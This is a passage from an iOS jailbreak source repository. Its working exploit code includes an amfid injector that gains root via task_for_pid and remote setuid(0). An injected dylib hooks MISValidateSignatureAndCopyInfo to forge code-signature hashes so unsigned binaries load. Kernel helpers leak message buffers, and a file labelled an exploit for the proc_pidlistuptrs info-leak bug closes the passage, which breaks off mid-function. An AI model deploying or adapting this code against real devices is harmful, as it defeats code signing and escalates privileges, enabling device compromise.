0; i < mh.ncmds; i++) { 276 | const struct load_command cmd; 277 | fseek(fd, off, SEEK_SET); 278 | fread(&cmd, sizeof(struct load_command), 1, fd); 279 | if (cmd.cmd == 0x1d) { 280 | uint32_t off_cs; 281 | fread(&off_cs, sizeof(uint32_t), 1, fd); 282 | uint32_t size_cs; 283 | fread(&size_cs, sizeof(uint32_t), 1, fd); 284 | 285 | uint8_t *cd = malloc(size_cs); 286 | fseek(fd, off_cs+file_off, SEEK_SET); 287 | fread(cd, size_cs, 1, fd); 288 | return cd; 289 | } else { 290 | off += cmd.cmdsize; 291 | } 292 | } 293 | NSLog(@"Didnt find the code signature"); 294 | return NULL; 295 | } 296 | 297 | int cp(const char *from, const char *to) { 298 | int fd_to, fd_from; 299 | char buf[4096]; 300 | ssize_t nread; 301 | int saved_errno; 302 | 303 | fd_from = open(from, O_RDONLY); 304 | if (fd_from < 0) 305 | return -1; 306 | 307 | fd_to = open(to, O_WRONLY | O_CREAT | O_EXCL, 0666); 308 | if (fd_to < 0) 309 | goto out_error; 310 | 311 | while (nread = read(fd_from, buf, sizeof buf), nread > 0) 312 | { 313 | char *out_ptr = buf; 314 | ssize_t nwritten; 315 | 316 | do { 317 | nwritten = write(fd_to, out_ptr, nread); 318 | 319 | if (nwritten >= 0) 320 | { 321 | nread -= nwritten; 322 | out_ptr += nwritten; 323 | } 324 | else if (errno != EINTR) 325 | { 326 | goto out_error; 327 | } 328 | } while (nread > 0); 329 | } 330 | 331 | if (nread == 0) 332 | { 333 | if (close(fd_to) < 0) 334 | { 335 | fd_to = -1; 336 | goto out_error; 337 | } 338 | close(fd_from); 339 | 340 | /* Success! */ 341 | return 0; 342 | } 343 | 344 | out_error: 345 | saved_errno = errno; 346 | 347 | close(fd_from); 348 | if (fd_to >= 0) 349 | close(fd_to); 350 | 351 | errno = saved_errno; 352 | return -1; 353 | } 354 | 355 | uint64_t real_func = 0; 356 | 357 | typedef int (*t)(NSString* file, NSDictionary* options, NSMutableDictionary** info); 358 | 359 | int fake_MISValidateSignatureAndCopyInfo(NSString* file, NSDictionary* options, NSMutableDictionary** info) { 360 | // NSString *file = (__bridge NSString *)fileStr; 361 | // NSDictionary *options = (__bridge NSDictionary*)opts; 362 | NSLog(@"We got called! %@ with %@", file, options); 363 | 364 | t actual_func = (t)real_func; 365 | actual_func(file, options, info); 366 | 367 | if (![*info objectForKey:@"CdHash"]) { 368 | NSNumber* file_offset = [options objectForKey:@"UniversalFileOffset"]; 369 | uint64_t file_off = [file_offset unsignedLongLongValue]; 370 | 371 | uint8_t* cd_hash = get_sha256(get_code_directory([file UTF8String], file_off)); 372 | 373 | *info = [[NSMutableDictionary alloc] init]; 374 | [*info setValue:[[NSData alloc] initWithBytes:cd_hash length:CC_SHA256_DIGEST_LENGTH] forKey:@"CdHash"]; 375 | NSLog(@"ours: %@", *info); 376 | } 377 | 378 | return 0; 379 | } 380 | 381 | 382 | 383 | void* thd_func(void* arg){ 384 | NSLog(@"In a new thread!"); 385 | NSLog(@"Base at %016llx", binary_load_address()); 386 | if (binary_load_address() == -1) { 387 | return NULL; 388 | } 389 | 390 | /* Finding the location of MISValidateSignatureAndCopyInfo from Ian Beer's triple_fetch */ 391 | void* libmis_handle = dlopen("libmis.dylib", RTLD_NOW); 392 | if (libmis_handle == NULL){ 393 | NSLog(@"Failed to open the dylib!"); 394 | return NULL; 395 | } 396 | 397 | void* sym = dlsym(libmis_handle, "MISValidateSignatureAndCopyInfo"); 398 | if (sym == NULL){ 399 | NSLog(@"unable to resolve MISValidateSignatureAndCopyInfo\n"); 400 | return NULL; 401 | } 402 | 403 | uint64_t buf_size = 0x8000; 404 | uint8_t* buf = malloc(buf_size); 405 | 406 | remote_read_overwrite(mach_task_self(), binary_load_address(), (uint64_t)buf, buf_size); 407 | uint8_t* found_at = memmem(buf, buf_size, &sym, sizeof(sym)); 408 | if (found_at == NULL){ 409 | NSLog(@"unable to find MISValidateSignatureAndCopyInfo in __la_symbol_ptr\n"); 410 | return NULL; 411 | } 412 | 413 | uint64_t patch_offset = found_at - buf; 414 | 415 | uint64_t fake_func_addr = &fake_MISValidateSignatureAndCopyInfo; 416 | 417 | real_func = kread64(binary_load_address()+patch_offset); 418 | 419 | // Replace it with our version 420 | remote_write(mach_task_self(), binary_load_address()+patch_offset, (uint64_t)&fake_func_addr, 8); 421 | 422 | // Test code 423 | dlopen("/fun_bins/test.dylib", RTLD_NOW); 424 | 425 | // remote_write(mach_task_self(), binary_load_address()+patch_offset, (uint64_t)&old, 8); 426 | 427 | return NULL; 428 | } 429 | 430 | __attribute__ ((constructor)) 431 | static void ctor(void) { 432 | NSLog(@"Hi there - creating the thread to do our stuff!"); 433 | pthread_t thd; 434 | pthread_create(&thd, NULL, thd_func, NULL); 435 | } 436 | -------------------------------------------------------------------------------- /async_wake_ios/binaries/ent.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | com.apple.system-task-ports 6 | 7 | task_for_pid-allow 8 | 9 | get-task-allow 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /async_wake_ios/binaries/inject_amfid: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ninjaprawn/async_wake-fun/6ffb822e153fd98fc6f9d09604317f316c3b0577/async_wake_ios/binaries/inject_amfid -------------------------------------------------------------------------------- /async_wake_ios/binaries/inject_amfid.m: -------------------------------------------------------------------------------- 1 | // xcrun -sdk iphoneos gcc -arch arm64 -framework Foundation -o inject_amfid inject_amfid.m 2 | // jtool --sign --inplace --ent ent.plist inject_amfid 3 | 4 | /* code comes from IB's triple_fetch patch_amfid.c */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | 24 | #import 25 | 26 | kern_return_t mach_vm_allocate 27 | ( 28 | vm_map_t target, 29 | mach_vm_address_t *address, 30 | mach_vm_size_t size, 31 | int flags 32 | ); 33 | 34 | kern_return_t mach_vm_write 35 | ( 36 | vm_map_t target_task, 37 | mach_vm_address_t address, 38 | vm_offset_t data, 39 | mach_msg_type_number_t dataCnt 40 | ); 41 | 42 | extern kern_return_t mach_vm_deallocate 43 | ( 44 | vm_map_t target, 45 | mach_vm_address_t address, 46 | mach_vm_size_t size 47 | ); 48 | 49 | 50 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize); 51 | kern_return_t mach_vm_region(vm_map_t target_task, mach_vm_address_t *address, mach_vm_size_t *size, vm_region_flavor_t flavor, vm_region_info_t info, mach_msg_type_number_t *infoCnt, mach_port_t *object_name); 52 | 53 | 54 | mach_port_t tfpzero = 0; 55 | 56 | uint64_t kalloc(vm_size_t size) { 57 | mach_vm_address_t address = 0; 58 | mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE); 59 | return address; 60 | } 61 | 62 | 63 | 64 | size_t kread(uint64_t where, void *p, size_t size) { 65 | int rv; 66 | size_t offset = 0; 67 | while (offset < size) { 68 | mach_vm_size_t sz, chunk = 2048; 69 | if (chunk > size - offset) { 70 | chunk = size - offset; 71 | } 72 | rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz); 73 | if (rv || sz == 0) { 74 | printf("[fun_utils] error on kread(0x%016llx)\n", (offset + where)); 75 | break; 76 | } 77 | offset += sz; 78 | } 79 | return offset; 80 | } 81 | 82 | uint32_t kread32(uint64_t where) { 83 | uint32_t out; 84 | kread(where, &out, sizeof(uint32_t)); 85 | return out; 86 | } 87 | 88 | uint64_t kread64(uint64_t where) { 89 | uint64_t out; 90 | kread(where, &out, sizeof(uint64_t)); 91 | return out; 92 | } 93 | 94 | size_t kwrite(uint64_t where, const void *p, size_t size) { 95 | int rv; 96 | size_t offset = 0; 97 | while (offset < size) { 98 | size_t chunk = 2048; 99 | if (chunk > size - offset) { 100 | chunk = size - offset; 101 | } 102 | rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, chunk); 103 | if (rv) { 104 | printf("[fun_utils] error on kwrite(0x%016llx)\n", (offset + where)); 105 | break; 106 | } 107 | offset += chunk; 108 | } 109 | return offset; 110 | } 111 | 112 | void kwrite32(uint64_t where, uint32_t what) { 113 | uint32_t _what = what; 114 | kwrite(where, &_what, sizeof(uint32_t)); 115 | } 116 | 117 | 118 | void kwrite64(uint64_t where, uint64_t what) { 119 | uint64_t _what = what; 120 | kwrite(where, &_what, sizeof(uint64_t)); 121 | } 122 | 123 | uint64_t 124 | remote_alloc(mach_port_t task_port, 125 | uint64_t size) 126 | { 127 | kern_return_t err; 128 | 129 | mach_vm_offset_t remote_addr = 0; 130 | mach_vm_size_t remote_size = (mach_vm_size_t)size; 131 | err = mach_vm_allocate(task_port, &remote_addr, remote_size, 1); // ANYWHERE 132 | if (err != KERN_SUCCESS){ 133 | NSLog(@"unable to allocate buffer in remote process\n"); 134 | return 0; 135 | } 136 | return (uint64_t)remote_addr; 137 | } 138 | 139 | void 140 | remote_free(mach_port_t task_port, 141 | uint64_t base, 142 | uint64_t size) 143 | { 144 | kern_return_t err; 145 | 146 | err = mach_vm_deallocate(task_port, (mach_vm_address_t)base, (mach_vm_size_t)size); 147 | if (err != KERN_SUCCESS){ 148 | NSLog(@"unabble to deallocate remote buffer\n"); 149 | return; 150 | } 151 | return; 152 | } 153 | 154 | uint64_t 155 | alloc_and_fill_remote_buffer(mach_port_t task_port, 156 | uint64_t local_address, 157 | uint64_t length) 158 | { 159 | kern_return_t err; 160 | 161 | uint64_t remote_address = remote_alloc(task_port, length); 162 | 163 | err = mach_vm_write(task_port, remote_address, (mach_vm_offset_t)local_address, (mach_msg_type_number_t)length); 164 | if (err != KERN_SUCCESS){ 165 | NSLog(@"unable to write to remote memory\n"); 166 | return 0; 167 | } 168 | 169 | return remote_address; 170 | } 171 | 172 | void 173 | remote_read_overwrite(mach_port_t task_port, 174 | uint64_t remote_address, 175 | uint64_t local_address, 176 | uint64_t length) 177 | { 178 | kern_return_t err; 179 | 180 | mach_vm_size_t outsize = 0; 181 | err = mach_vm_read_overwrite(task_port, (mach_vm_address_t)remote_address, (mach_vm_size_t)length, (mach_vm_address_t)local_address, &outsize); 182 | if (err != KERN_SUCCESS){ 183 | NSLog(@"remote read failed\n"); 184 | return; 185 | } 186 | 187 | if (outsize != length){ 188 | NSLog(@"remote read was short (expected %llx, got %llx\n", length, outsize); 189 | return; 190 | } 191 | } 192 | 193 | void 194 | remote_write(mach_port_t remote_task_port, 195 | uint64_t remote_address, 196 | uint64_t local_address, 197 | uint64_t length) 198 | { 199 | kern_return_t err = mach_vm_write(remote_task_port, 200 | (mach_vm_address_t)remote_address, 201 | (vm_offset_t)local_address, 202 | (mach_msg_type_number_t)length); 203 | if (err != KERN_SUCCESS) { 204 | NSLog(@"remote write failed: %s %x\n", mach_error_string(err), err); 205 | return; 206 | } 207 | } 208 | 209 | enum arg_type { 210 | ARG_LITERAL, 211 | ARG_BUFFER, 212 | ARG_BUFFER_PERSISTENT, // don't free the buffer after the call 213 | ARG_OUT_BUFFER, 214 | ARG_INOUT_BUFFER 215 | }; 216 | 217 | typedef struct _arg_desc { 218 | uint64_t type; 219 | uint64_t value; 220 | uint64_t length; 221 | } arg_desc; 222 | 223 | #define REMOTE_LITERAL(val) &(arg_desc){ARG_LITERAL, (uint64_t)val, (uint64_t)0} 224 | #define REMOTE_BUFFER(ptr, size) &(arg_desc){ARG_BUFFER, (uint64_t)ptr, (uint64_t)size} 225 | #define REMOTE_CSTRING(str) &(arg_desc){ARG_BUFFER, (uint64_t)str, (uint64_t)(strlen(str)+1)} 226 | #define REMOTE_BUFFER_PERSISTENT(ptr, size) &(arg_desc){ARG_BUFFER_PERSISTENT, (uint64_t)ptr, (uint64_t)size} 227 | #define REMOTE_CSTRING_PERSISTENT(str) &(arg_desc){ARG_BUFFER_PERSISTENT, (uint64_t)str, (uint64_t)(strlen(str)+1)} 228 | #define REMOTE_OUT_BUFFER(ptr, size) &(arg_desc){ARG_OUT_BUFFER, (uint64_t)ptr, (uint64_t)size} 229 | #define REMOTE_INOUT_BUFFER(ptr, size) &(arg_desc){ARG_INOUT_BUFFER, (uint64_t)ptr, (uint64_t)size} 230 | 231 | 232 | uint64_t 233 | find_gadget_candidate( 234 | char** alternatives, 235 | size_t gadget_length) 236 | { 237 | void* haystack_start = (void*)atoi; // will do... 238 | size_t haystack_size = 100*1024*1024; // likewise... 239 | 240 | for (char* candidate = *alternatives; candidate != NULL; alternatives++) { 241 | void* found_at = memmem(haystack_start, haystack_size, candidate, gadget_length); 242 | if (found_at != NULL){ 243 | NSLog(@"found at: %llx\n", (uint64_t)found_at); 244 | return (uint64_t)found_at; 245 | } 246 | } 247 | 248 | return 0; 249 | } 250 | 251 | uint64_t blr_x19_addr = 0; 252 | uint64_t 253 | find_blr_x19_gadget() 254 | { 255 | if (blr_x19_addr != 0){ 256 | return blr_x19_addr; 257 | } 258 | char* blr_x19 = "\x60\x02\x3f\xd6"; 259 | char* candidates[] = {blr_x19, NULL}; 260 | blr_x19_addr = find_gadget_candidate(candidates, 4); 261 | return blr_x19_addr; 262 | } 263 | 264 | // no support for non-register args 265 | #define MAX_REMOTE_ARGS 8 266 | 267 | // not in iOS SDK headers: 268 | extern void 269 | _pthread_set_self( 270 | pthread_t p); 271 | 272 | uint64_t call_remote(mach_port_t task_port, void* fptr, int n_params, ...) 273 | { 274 | if (n_params > MAX_REMOTE_ARGS || n_params < 0){ 275 | NSLog(@"unsupported number of arguments to remote function (%d)\n", n_params); 276 | return 0; 277 | } 278 | 279 | kern_return_t err; 280 | 281 | uint64_t remote_stack_base = 0; 282 | uint64_t remote_stack_size = 4*1024*1024; 283 | 284 | remote_stack_base = remote_alloc(task_port, remote_stack_size); 285 | 286 | uint64_t remote_stack_middle = remote_stack_base + (remote_stack_size/2); 287 | 288 | // create a new thread in the target 289 | // just using the mach thread API doesn't initialize the pthread thread-local-storage 290 | // which means that stuff which relies on that will crash 291 | // we can sort-of make that work by calling _pthread_set_self(NULL) in the target process 292 | // which will give the newly created thread the same TLS region as the main thread 293 | 294 | 295 | _STRUCT_ARM_THREAD_STATE64 thread_state = {0}; 296 | mach_msg_type_number_t thread_stateCnt = sizeof(thread_state)/4; 297 | 298 | // we'll start the thread running and call _pthread_set_self first: 299 | thread_state.__sp = remote_stack_middle; 300 | thread_state.__pc = (uint64_t)_pthread_set_self; 301 | 302 | // set these up to put us into a predictable state we can monitor for: 303 | uint64_t loop_lr = find_blr_x19_gadget(); 304 | thread_state.__x[19] = loop_lr; 305 | thread_state.__lr = loop_lr; 306 | 307 | // set the argument to NULL: 308 | thread_state.__x[0] = 0; 309 | 310 | mach_port_t thread_port = MACH_PORT_NULL; 311 | 312 | err = thread_create_running(task_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, thread_stateCnt, &thread_port); 313 | if (err != KERN_SUCCESS){ 314 | NSLog(@"error creating thread in child: %s\n", mach_error_string(err)); 315 | return 0; 316 | } 317 | // NSLog(@"new thread running in child: %x\n", thread_port); 318 | 319 | // wait for it to hit the loop: 320 | while(1){ 321 | // monitor the thread until we see it's in the infinite loop indicating it's done: 322 | err = thread_get_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, &thread_stateCnt); 323 | if (err != KERN_SUCCESS){ 324 | NSLog(@"error getting thread state: %s\n", mach_error_string(err)); 325 | return 0; 326 | } 327 | 328 | if (thread_state.__pc == loop_lr && thread_state.__x[19] == loop_lr){ 329 | // thread has returned from the target function 330 | break; 331 | } 332 | } 333 | 334 | // the thread should now have pthread local storage 335 | // pause it: 336 | 337 | err = thread_suspend(thread_port); 338 | if (err != KERN_SUCCESS){ 339 | NSLog(@"unable to suspend target thread\n"); 340 | return 0; 341 | } 342 | 343 | /* 344 | err = thread_abort(thread_port); 345 | if (err != KERN_SUCCESS){ 346 | NSLog(@"unable to get thread out of any traps\n"); 347 | return 0; 348 | } 349 | */ 350 | 351 | // set up for the actual target call: 352 | thread_state.__sp = remote_stack_middle; 353 | thread_state.__pc = (uint64_t)fptr; 354 | 355 | // set these up to put us into a predictable state we can monitor for: 356 | thread_state.__x[19] = loop_lr; 357 | thread_state.__lr = loop_lr; 358 | 359 | va_list ap; 360 | va_start(ap, n_params); 361 | 362 | arg_desc* args[MAX_REMOTE_ARGS] = {0}; 363 | 364 | uint64_t remote_buffers[MAX_REMOTE_ARGS] = {0}; 365 | //uint64_t remote_buffer_sizes[MAX_REMOTE_ARGS] = {0}; 366 | 367 | for (int i = 0; i < n_params; i++){ 368 | arg_desc* arg = va_arg(ap, arg_desc*); 369 | 370 | args[i] = arg; 371 | 372 | switch(arg->type){ 373 | case ARG_LITERAL: 374 | { 375 | thread_state.__x[i] = arg->value; 376 | break; 377 | } 378 | 379 | case ARG_BUFFER: 380 | case ARG_BUFFER_PERSISTENT: 381 | case ARG_INOUT_BUFFER: 382 | { 383 | uint64_t remote_buffer = alloc_and_fill_remote_buffer(task_port, arg->value, arg->length); 384 | remote_buffers[i] = remote_buffer; 385 | thread_state.__x[i] = remote_buffer; 386 | break; 387 | } 388 | 389 | case ARG_OUT_BUFFER: 390 | { 391 | uint64_t remote_buffer = remote_alloc(task_port, arg->length); 392 | // NSLog(@"allocated a remote out buffer: %llx\n", remote_buffer); 393 | remote_buffers[i] = remote_buffer; 394 | thread_state.__x[i] = remote_buffer; 395 | break; 396 | } 397 | 398 | default: 399 | { 400 | NSLog(@"invalid argument type!\n"); 401 | } 402 | } 403 | } 404 | 405 | va_end(ap); 406 | 407 | err = thread_set_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, thread_stateCnt); 408 | if (err != KERN_SUCCESS){ 409 | NSLog(@"error setting new thread state: %s\n", mach_error_string(err)); 410 | return 0; 411 | } 412 | // NSLog(@"thread state updated in target: %x\n", thread_port); 413 | 414 | err = thread_resume(thread_port); 415 | if (err != KERN_SUCCESS){ 416 | NSLog(@"unable to resume target thread\n"); 417 | return 0; 418 | } 419 | 420 | while(1){ 421 | // monitor the thread until we see it's in the infinite loop indicating it's done: 422 | err = thread_get_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, &thread_stateCnt); 423 | if (err != KERN_SUCCESS){ 424 | NSLog(@"error getting thread state: %s\n", mach_error_string(err)); 425 | return 0; 426 | } 427 | 428 | if (thread_state.__pc == loop_lr/*&& thread_state.__x[19] == loop_lr*/){ 429 | // thread has returned from the target function 430 | break; 431 | } 432 | 433 | // thread isn't in the infinite loop yet, let it continue 434 | } 435 | 436 | // deallocate the remote thread 437 | err = thread_terminate(thread_port); 438 | if (err != KERN_SUCCESS){ 439 | NSLog(@"failed to terminate thread\n"); 440 | return 0; 441 | } 442 | mach_port_deallocate(mach_task_self(), thread_port); 443 | 444 | // handle post-call argument cleanup/copying: 445 | for (int i = 0; i < MAX_REMOTE_ARGS; i++){ 446 | arg_desc* arg = args[i]; 447 | if (arg == NULL){ 448 | break; 449 | } 450 | switch (arg->type){ 451 | case ARG_BUFFER: 452 | { 453 | remote_free(task_port, remote_buffers[i], arg->length); 454 | break; 455 | } 456 | 457 | case ARG_INOUT_BUFFER: 458 | case ARG_OUT_BUFFER: 459 | { 460 | // copy the contents back: 461 | remote_read_overwrite(task_port, remote_buffers[i], arg->value, arg->length); 462 | remote_free(task_port, remote_buffers[i], arg->length); 463 | break; 464 | } 465 | } 466 | } 467 | 468 | uint64_t ret_val = thread_state.__x[0]; 469 | 470 | // NSLog(@"remote function call return value: %llx\n", ret_val); 471 | 472 | // deallocate the stack in the target: 473 | remote_free(task_port, remote_stack_base, remote_stack_size); 474 | 475 | return ret_val; 476 | } 477 | 478 | uint64_t binary_load_address(mach_port_t tp) { 479 | kern_return_t err; 480 | mach_msg_type_number_t region_count = VM_REGION_BASIC_INFO_COUNT_64; 481 | memory_object_name_t object_name = MACH_PORT_NULL; /* unused */ 482 | mach_vm_size_t target_first_size = 0x1000; 483 | mach_vm_address_t target_first_addr = 0x0; 484 | struct vm_region_basic_info_64 region = {0}; 485 | err = mach_vm_region(tp, 486 | &target_first_addr, 487 | &target_first_size, 488 | VM_REGION_BASIC_INFO_64, 489 | (vm_region_info_t)®ion, 490 | ®ion_count, 491 | &object_name); 492 | 493 | if (err != KERN_SUCCESS) { 494 | printf("failed to get the region\n"); 495 | return -1; 496 | } 497 | 498 | return target_first_addr; 499 | } 500 | 501 | int main(int argc, char* argv[]) { 502 | NSLog(@"Hi there - sleeping for some csflags"); 503 | sleep(2); 504 | 505 | task_t remoteTask; 506 | kern_return_t kr = task_for_pid(mach_task_self(), atoi(argv[1]), &remoteTask); 507 | if (kr != KERN_SUCCESS) { 508 | NSLog(@"Failed to get task for amfid!"); 509 | return -1; 510 | } 511 | 512 | tfpzero = (mach_port_t)remoteTask; 513 | 514 | // NSLog(@"Trying to find the start of the main binary!"); 515 | 516 | uint64_t actual_addr = binary_load_address(remoteTask); 517 | 518 | if (actual_addr == -1) { 519 | NSLog(@"Couldn't find the address"); 520 | return -1; 521 | } 522 | 523 | NSLog(@"Address is at %016llx", actual_addr); 524 | 525 | uint64_t slide = actual_addr - 0x0000000100000000; 526 | // NSLog(@"Slide is at %016llx", slide); 527 | 528 | call_remote(remoteTask, setuid, 1, REMOTE_LITERAL(0)); 529 | 530 | NSLog(@"amfid uid is now 0 - injecting our dylib"); 531 | 532 | uint64_t handler = call_remote(remoteTask, dlopen, 2, REMOTE_CSTRING("/fun_bins/amfid_payload.dylib"), REMOTE_LITERAL(RTLD_NOW)); 533 | uint64_t error = call_remote(remoteTask, dlerror, 0); 534 | if (error == 0) { 535 | NSLog(@"No error occured!"); 536 | } else { 537 | uint64_t len = call_remote(remoteTask, strlen, 1, REMOTE_LITERAL(error)); 538 | char* local_cstring = malloc(len+1); 539 | remote_read_overwrite(remoteTask, error, (uint64_t)local_cstring, len+1); 540 | 541 | NSLog(@"Error is %s", local_cstring); 542 | return -1; 543 | } 544 | 545 | return 0; 546 | } 547 | -------------------------------------------------------------------------------- /async_wake_ios/binaries/test.dylib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ninjaprawn/async_wake-fun/6ffb822e153fd98fc6f9d09604317f316c3b0577/async_wake_ios/binaries/test.dylib -------------------------------------------------------------------------------- /async_wake_ios/binaries/test.m: -------------------------------------------------------------------------------- 1 | // xcrun -sdk iphoneos gcc -dynamiclib -arch arm64 -framework Foundation -o test.dylib test.m 2 | // jtool --sign --inplace test.dylib 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | #import 22 | 23 | __attribute__ ((constructor)) 24 | static void ctor(void) { 25 | NSLog(@"Unsigned dylib!!"); 26 | } 27 | -------------------------------------------------------------------------------- /async_wake_ios/early_kalloc.c: -------------------------------------------------------------------------------- 1 | // 2 | // early_kalloc.c 3 | // async_wake_ios 4 | // 5 | // Created by Ian Beer on 12/11/17. 6 | // Copyright © 2017 Ian Beer. All rights reserved. 7 | // 8 | 9 | #include "early_kalloc.h" 10 | 11 | #include 12 | #include 13 | #include 14 | 15 | #include "find_port.h" 16 | #include "kmem.h" 17 | #include "symbols.h" 18 | 19 | extern int message_size_for_kalloc_size(int kalloc_size); 20 | 21 | // get a kalloc allocation before we've got a kcall interface to just call it 22 | uint64_t early_kalloc(int size) { 23 | mach_port_t port = MACH_PORT_NULL; 24 | kern_return_t err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); 25 | if (err != KERN_SUCCESS) { 26 | printf("unable to allocate port\n"); 27 | } 28 | 29 | uint64_t port_kaddr = find_port_address(port, MACH_MSG_TYPE_MAKE_SEND); 30 | 31 | struct simple_msg { 32 | mach_msg_header_t hdr; 33 | char buf[0]; 34 | }; 35 | 36 | mach_msg_size_t msg_size = message_size_for_kalloc_size(size); 37 | struct simple_msg* msg = malloc(msg_size); 38 | memset(msg, 0, msg_size); 39 | 40 | msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); 41 | msg->hdr.msgh_size = msg_size; 42 | msg->hdr.msgh_remote_port = port; 43 | msg->hdr.msgh_local_port = MACH_PORT_NULL; 44 | msg->hdr.msgh_id = 0x41414142; 45 | 46 | err = mach_msg(&msg->hdr, 47 | MACH_SEND_MSG|MACH_MSG_OPTION_NONE, 48 | msg_size, 49 | 0, 50 | MACH_PORT_NULL, 51 | MACH_MSG_TIMEOUT_NONE, 52 | MACH_PORT_NULL); 53 | 54 | if (err != KERN_SUCCESS) { 55 | printf("early kalloc failed to send message\n"); 56 | } 57 | 58 | // find the message buffer: 59 | 60 | uint64_t message_buffer = rk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE)); 61 | printf("message buffer: %llx\n", message_buffer); 62 | 63 | // leak the message buffer: 64 | wk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE), 0); 65 | wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT), 0x50000); // this is two uint16_ts, msg_count and qlimit 66 | 67 | 68 | return message_buffer; 69 | } 70 | -------------------------------------------------------------------------------- /async_wake_ios/early_kalloc.h: -------------------------------------------------------------------------------- 1 | #ifndef early_kalloc_h 2 | #define early_kalloc_h 3 | 4 | #include 5 | 6 | uint64_t early_kalloc(int size); 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /async_wake_ios/ent.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | com.apple.system-task-ports 6 | 7 | task_for_pid-allow 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /async_wake_ios/find_port.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include 6 | 7 | #include "find_port.h" 8 | #include "kmem.h" 9 | #include "symbols.h" 10 | #include "kutils.h" 11 | 12 | /* 13 | * this is an exploit for the proc_pidlistuptrs bug (P0 issue 1372) 14 | * 15 | * It will reliably determine the kernel address of a mach port. 16 | * Knowing the addresses of ports makes the other UaF exploit much simpler. 17 | */ 18 | 19 | // missing headers 20 | #define KEVENT_FLAG_WORKLOOP 0x400 21 | 22 | typedef uint64_t kqueue_id_t; 23 | 24 | struct kevent_qos_s { 25 | uint64_t ident; /* identifier for this event */ 26 | int16_t filter; /* filter for event */ 27 | uint16_t flags; /* general flags */ 28 | uint32_t qos; /* quality of service when servicing event */ 29 | uint64_t udata; /* opaque user data identifier */ 30 | uint32_t fflags; /* filter-specific flags */ 31 | uint32_t xflags; /* extra filter-specific flags */ 32 | int64_t data; /* filter-specific data */ 33 | uint64_t ext[4]; /* filter-specific extensions */ 34 | }; 35 | 36 | #define PRIVATE 37 | #include 38 | #include 39 | #include 40 | #include 41 | 42 | struct kevent_extinfo { 43 | struct kevent_qos_s kqext_kev; 44 | uint64_t kqext_sdata; 45 | int kqext_status; 46 | int kqext_sfflags; 47 | uint64_t kqext_reserved[2]; 48 | }; 49 | 50 | extern int kevent_id(uint64_t id, const struct kevent_qos_s *changelist, int nchanges, struct kevent_qos_s *eventlist, int nevents, void *data_out, size_t *data_available, unsigned int flags); 51 | 52 | int proc_list_uptrs(pid_t pid, uint64_t *buffer, uint32_t buffersize); 53 | 54 | // appends n_events user events onto this process's kevent queue 55 | static void fill_events(int n_events) { 56 | struct kevent_qos_s events_id[] = {{ 57 | .filter = EVFILT_USER, 58 | .ident = 1, 59 | .flags = EV_ADD, 60 | .udata = 0x2345 61 | }}; 62 | 63 | kqueue_id_t id = 0x1234; 64 | 65 | for (int i = 0; i < n_events; i++) { 66 | int err = kevent_id(id, events_id, 1, NULL, 0, NULL, NULL, 67 | KEVENT_FLAG_WORKLOOP | KEVENT_FLAG_IMMEDIATE); 68 | 69 | if (err != 0) { 70 | printf(" [-] failed to enqueue user event\n"); 71 | exit(EXIT_FAILURE); 72 | } 73 | 74 | events_id[0].ident++; 75 | } 76 | } 77 | 78 | int kqueues_allocated = 0; 79 | 80 | static void prepare_kqueue() { 81 | // ensure there are a large number of events so that kevent_proc_copy_uptrs 82 | // always returns a large number 83 | if (kqueues_allocated) { 84 | return; 85 | } 86 | fill_events(10000); 87 | printf(" [+] prepared kqueue\n"); 88 | kqueues_allocated = 1; 89 | } 90 | 91 | // will make a kalloc allocation of (count*8)+7 92 | // and only write to the first (count*8) bytes. 93 | // the return value is those last 7 bytes uninitialized bytes as a uint64_t 94 | // (the upper byte will be set to 0) 95 | static uint64_t try_leak(int count) { 96 | int buf_size = (count*8)+7; 97 | char* buf = calloc(buf_size+1, 1); 98 | 99 | int err = proc_list_uptrs(getpid(), (void*)buf, buf_size); 100 | 101 | if (err == -1) { 102 | return 0; 103 | } 104 | 105 | // the last 7 bytes will contain the leaked data: 106 | uint64_t last_val = ((uint64_t*)buf)[count]; // we added an extra zero byte in the calloc 107 | 108 | return last_val; 109 | } 110 | 111 | struct ool_msg { 112 | mach_msg_header_t hdr; 113 | mach_msg_body_t body; 114 | mach_msg_ool_ports_descriptor_t ool_ports; 115 | }; 116 | 117 | // fills a kalloc allocation with count times of target_port's struct ipc_port pointer 118 | // To cause the kalloc allocation to be free'd mach_port_destroy the returned receive right 119 | static mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) { 120 | // allocate a port to send the message to 121 | mach_port_t q = MACH_PORT_NULL; 122 | kern_return_t err; 123 | err = mach_port_allocate(mach_task_self(), 